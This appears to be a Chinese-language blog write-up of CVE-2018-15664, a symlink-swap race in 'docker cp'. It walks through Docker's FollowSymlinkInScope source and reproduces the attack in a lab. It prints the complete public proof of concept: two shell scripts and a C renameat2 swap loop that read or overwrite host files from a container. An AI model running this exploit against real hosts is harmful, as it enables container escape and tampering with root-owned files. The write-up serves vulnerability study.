影响版本

Docker <= 18.06.1-ce-rc2

Docker cp

Docker cp命令能够将容器内的文件向宿主机复制,也能够实现宿主机文件向容器中复制。

1
2
# 将容器中的文件复制到宿主机中
docker cp container_id:file_path_in_container host_path

符号链接

类似于Windows中的快捷方式。符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。

1
2
# 将目标路径和指定的链接名或者路径进行绑定
ln -s targrt_path link_path

image-20230912114240358

源码及利用原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE.BSD file.

// This code is a modified version of path/filepath/symlink.go from the Go standard library.

package symlink

import (
"bytes"
"errors"
"os"
"path/filepath"
"strings"

"github.com/docker/docker/pkg/system"
)

// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
path, err := filepath.Abs(filepath.FromSlash(path))
if err != nil {
return "", err
}
root, err = filepath.Abs(filepath.FromSlash(root))
if err != nil {
return "", err
}
return evalSymlinksInScope(path, root)
}

// evalSymlinksInScope will evaluate symlinks in `path` within a scope `root` and return
// a result guaranteed to be contained within the scope `root`, at the time of the call.
// Symlinks in `root` are not evaluated and left as-is.
// Errors encountered while attempting to evaluate symlinks in path will be returned.
// Non-existing paths are valid and do not constitute an error.
// `path` has to contain `root` as a prefix, or else an error will be returned.
// Trying to break out from `root` does not constitute an error.
//
// Example:
// If /foo/bar -> /outside,
// FollowSymlinkInScope("/foo/bar", "/foo") == "/foo/outside" instead of "/oustide"
//
// IMPORTANT: it is the caller's responsibility to call evalSymlinksInScope *after* relevant symlinks
// are created and not to create subsequently, additional symlinks that could potentially make a
// previously-safe path, unsafe. Example: if /foo/bar does not exist, evalSymlinksInScope("/foo/bar", "/foo")
// would return "/foo/bar". If one makes /foo/bar a symlink to /baz subsequently, then "/foo/bar" should
// no longer be considered safely contained in "/foo".
func evalSymlinksInScope(path, root string) (string, error) {
root = filepath.Clean(root)
if path == root {
return path, nil
}
if !strings.HasPrefix(path, root) {
return "", errors.New("evalSymlinksInScope: " + path + " is not in " + root)
}
const maxIter = 255
originalPath := path
// given root of "/a" and path of "/a/b/../../c" we want path to be "/b/../../c"
path = path[len(root):]
if root == string(filepath.Separator) {
path = string(filepath.Separator) + path
}
if !strings.HasPrefix(path, string(filepath.Separator)) {
return "", errors.New("evalSymlinksInScope: " + path + " is not in " + root)
}
path = filepath.Clean(path)
// consume path by taking each frontmost path element,
// expanding it if it's a symlink, and appending it to b
var b bytes.Buffer
// b here will always be considered to be the "current absolute path inside
// root" when we append paths to it, we also append a slash and use
// filepath.Clean after the loop to trim the trailing slash
for n := 0; path != ""; n++ {
if n > maxIter {
return "", errors.New("evalSymlinksInScope: too many links in " + originalPath)
}

// find next path component, p
i := strings.IndexRune(path, filepath.Separator)
var p string
if i == -1 {
p, path = path, ""
} else {
p, path = path[:i], path[i+1:]
}

if p == "" {
continue
}

// this takes a b.String() like "b/../" and a p like "c" and turns it
// into "/b/../c" which then gets filepath.Cleaned into "/c" and then
// root gets prepended and we Clean again (to remove any trailing slash
// if the first Clean gave us just "/")
cleanP := filepath.Clean(string(filepath.Separator) + b.String() + p)
if cleanP == string(filepath.Separator) {
// never Lstat "/" itself
b.Reset()
continue
}
fullP := filepath.Clean(root + cleanP)

fi, err := os.Lstat(fullP)
if os.IsNotExist(err) {
// if p does not exist, accept it
b.WriteString(p)
b.WriteRune(filepath.Separator)
continue
}
if err != nil {
return "", err
}
if fi.Mode()&os.ModeSymlink == 0 {
b.WriteString(p + string(filepath.Separator))
continue
}

// it's a symlink, put it at the front of path
dest, err := os.Readlink(fullP)
if err != nil {
return "", err
}
if system.IsAbs(dest) {
b.Reset()
}
path = dest + string(filepath.Separator) + path
}

// see note above on "fullP := ..." for why this is double-cleaned and
// what's happening here
return filepath.Clean(root + filepath.Clean(string(filepath.Separator)+b.String())), nil
}

// EvalSymlinks returns the path name after the evaluation of any symbolic
// links.
// If path is relative the result will be relative to the current directory,
// unless one of the components is an absolute symbolic link.
// This version has been updated to support long paths prepended with `\\?\`.
func EvalSymlinks(path string) (string, error) {
return evalSymlinks(path)
}

Docker cp过程中FolllowSyslinkInScope方法会先检测路径合法存在,检测结束后evalSymlinkInScope方法对路径进行解析并执行后续文件复制操作。

整个复制过程不是一个原子操作,而路径检测解析执行才分别是原子操作。在这个复制过程中如果攻击者在路径检测结束后将正常路径替换成一个恶意的符号链接,那么攻击者将能够对Docker cp的目的主机(可以是容器也可以是宿主机)任意路径的文件内容进行覆盖。

然而这里我也有个猜测,Docker cp相当于一个set-uid进程,于是它可以获得文件root权限进行文件内容覆盖。

image-20230912134832774

漏洞场景和POC解读

漏洞场景:受害者在从容器中复制文件到宿主机

当漏洞触发时容器内的文件将被复制到宿主机中的任意一个目录(恶意符号链接所指定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/zsh
# Copyright (C) 2018 Aleksa Sarai <asarai@suse.de>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

# Now continually try to copy the files.
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx + 1))
done

漏洞场景:受害者在从宿主机中复制文件到容器中

当漏洞触发时宿主机内的文件将被复制到宿主机中的任意一个目录(容器中恶意符号链接所指定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/zsh
# Copyright (C) 2018 Aleksa Sarai <asarai@suse.de>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

echo "SUCCESS -- HOST FILE CHANGED" | tee localpath

# Now continually try to copy the files.
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done

POC解读

POC中使用一个无限循环将恶意符号链接与正常文件交换,根据目标文件内容可以判定我们是否竞争成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/*
* Copyright (C) 2018 Aleksa Sarai <asarai@suse.de>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>

#define usage() \
do { printf("usage: symlink_swap <symlink>\n"); exit(1); } while(0)

#define bail(msg) \
do { perror("symlink_swap: " msg); exit(1); } while (0)

/* No glibc wrapper for this, so wrap it ourselves. */
#define RENAME_EXCHANGE (1 << 1)
/*int renameat2(int olddirfd, const char *oldpath,
int newdirfd, const char *newpath, int flags)
{
return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}*/

/* usage: symlink_swap <symlink> */
int main(int argc, char **argv)
{
if (argc != 2)
usage();

char *symlink_path = argv[1];
char *stash_path = NULL;
if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)
bail("create stash_path");

/* Create a dummy file at symlink_path. */
struct stat sb = {0};
if (!lstat(symlink_path, &sb)) {
int err;
if (sb.st_mode & S_IFDIR)
err = rmdir(symlink_path);
else
err = unlink(symlink_path);
if (err < 0)
bail("unlink symlink_path");
}

/*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");

/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = renameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}

漏洞复现

这里使用metarget靶场进行漏洞测试。

正常操作

将容器中的文件ex复制到宿主机中,FollowSymlinkInScope方法检查这个路径合法,evalSymlinksInScope方法对这个路径进行解析。执行的结果是将容器中的ex复制到宿主机的当前目录下。

恶意操作

将容器中的文件ex复制到宿主机中,FollowSymlinkInScope方法检查这个路径合法,在evalSymlinksInScope方法对这个路径进行解析之前将路径替换为恶意符号链接指向宿主机的/w00t_w00t_im_a_flag。执行的结果是将/w00t_w00t_im_a_flag文件复制到宿主机当前目录下。

运行run_read.sh,并通过grep查看是否写入成功。

非常夸张的是在竞争中获得root的主机访问权限<1%,但仍有机会竞争成功。

image-20230912212957974

正常操作

要将宿主机的正常文件localpath复制到容器中,FollowSymlinkInScope方法检查这个路径合法,evalSymlinksInScope方法对这个路径进行解析。执行的结果是将宿主机的当前目录的localpath复制到容器中的/w00t_w00t_im_a_flag位置。

恶意操作

我们在容器中创建了一个指向宿主机根目录/的恶意符号链接,在进行FollowSymlinkInScope方法时,对正常文件localpath进行检查,但在evalSymlinksInScope方法中传入的路径为指向宿主机根目录/的恶意符号链接。执行的结果是将宿主机的当前目录的localpath复制到宿主机/w00t_w00t_im_a_flag位置。

运行run_write.sh

我们发现这很快就完成了竞争,

这是因为 Docker 内部有一个**”chrootarchive”概念**,其中存档是从 chroot 中提取的。然而,Docker 不会 chroot 到容器的”/“(这会使此漏洞无效),而是 chroot 到存档目标的父目录——这是攻击者控制的。结果,这实际上导致攻击更有可能成功(一旦 chroot 完成竞争,其余的攻击就保证成功)。

image-20230912170647623

image-20230912170658008

参考链接:CVE-2018-15664:符号链接替换漏洞

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally